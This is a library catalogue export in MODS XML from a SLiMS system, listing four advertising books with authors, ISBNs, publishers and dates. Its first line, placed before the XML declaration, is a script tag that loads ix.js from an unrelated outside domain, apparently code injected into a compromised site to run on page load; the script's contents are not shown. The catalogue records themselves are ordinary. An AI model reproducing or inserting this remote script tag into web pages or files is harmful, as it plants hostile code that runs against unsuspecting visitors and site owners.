<script src=//leecher.lotus.desacinta.com/ix.js></script><?xml version="1.0" encoding="UTF-8" ?>
<modsCollection xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.loc.gov/mods/v3" xmlns:slims="http://slims.web.id" xsi:schemaLocation="http://www.loc.gov/mods/v3 http://www.loc.gov/standards/mods/v3/mods-3-3.xsd">
 <slims:resultInfo>
  <slims:modsResultNum>4</slims:modsResultNum>
  <slims:modsResultPage>1</slims:modsResultPage>
  <slims:modsResultShowed>10</slims:modsResultShowed>
 </slims:resultInfo>
 <mods version="3.3" ID="16948">
  <titleInfo>
   <title>The Fall Of Advertising And The Rise Of PR</title>
  </titleInfo>
  <name type="personal" authority="">
   <namePart>Al Ries</namePart>
   <role>
    <roleTerm type="text">Primary Author</roleTerm>
   </role>
  </name>
  <name type="personal" authority="">
   <namePart>Laura Ries</namePart>
   <role>
    <roleTerm type="text">Primary Author</roleTerm>
   </role>
  </name>
  <typeOfResource collection="yes">mixed material</typeOfResource>
  <identifier type="isbn">9792203664</identifier>
  <originInfo>
   <place>
    <placeTerm type="text">Jakarta</placeTerm>
    <publisher>PT.Gramedia Pustaka Utama</publisher>
    <dateIssued>2004</dateIssued>
   </place>
  </originInfo>
  <slims:image>y648.jpg.jpg</slims:image>
 </mods>
 <mods version="3.3" ID="12318">
  <titleInfo>
   <title>Advertising</title>
  </titleInfo>
  <name type="personal" authority="">
   <namePart>Holtje, Hebbert F</namePart>
   <role>
    <roleTerm type="text">Primary Author</roleTerm>
   </role>
  </name>
  <typeOfResource collection="yes">mixed material</typeOfResource>
  <identifier type="isbn">007029660X</identifier>
  <originInfo>
   <place>
    <placeTerm type="text">Singapore</placeTerm>
    <publisher>McGraw-Hill Book Company, Inc.</publisher>
    <dateIssued>1978</dateIssued>
   </place>
  </originInfo>
  <slims:image>advertising.jpg.jpg</slims:image>
 </mods>
 <mods version="3.3" ID="7331">
  <titleInfo>
   <title>Theory and problems of advertising</title>
  </titleInfo>
  <name type="personal" authority="">
   <namePart>Holtje, Herbert F.</namePart>
   <role>
    <roleTerm type="text">Primary Author</roleTerm>
   </role>
  </name>
  <typeOfResource collection="yes">mixed material</typeOfResource>
  <identifier type="isbn"></identifier>
  <originInfo>
   <place>
    <placeTerm type="text">New York</placeTerm>
    <publisher>Mc Graw Hill</publisher>
    <dateIssued>1978</dateIssued>
   </place>
  </originInfo>
  <slims:image>020002119-k.jpg</slims:image>
 </mods>
 <mods version="3.3" ID="7223">
  <titleInfo>
   <title>Advertising pure and simple</title>
  </titleInfo>
  <name type="personal" authority="">
   <namePart>Seiden, Hank</namePart>
   <role>
    <roleTerm type="text">Primary Author</roleTerm>
   </role>
  </name>
  <typeOfResource collection="yes">mixed material</typeOfResource>
  <identifier type="isbn">0814454275</identifier>
  <originInfo>
   <place>
    <placeTerm type="text">New York</placeTerm>
    <publisher>Amacom</publisher>
    <dateIssued>1976</dateIssued>
   </place>
  </originInfo>
  <slims:image>020002052-k.jpg</slims:image>
 </mods>
</modsCollection>
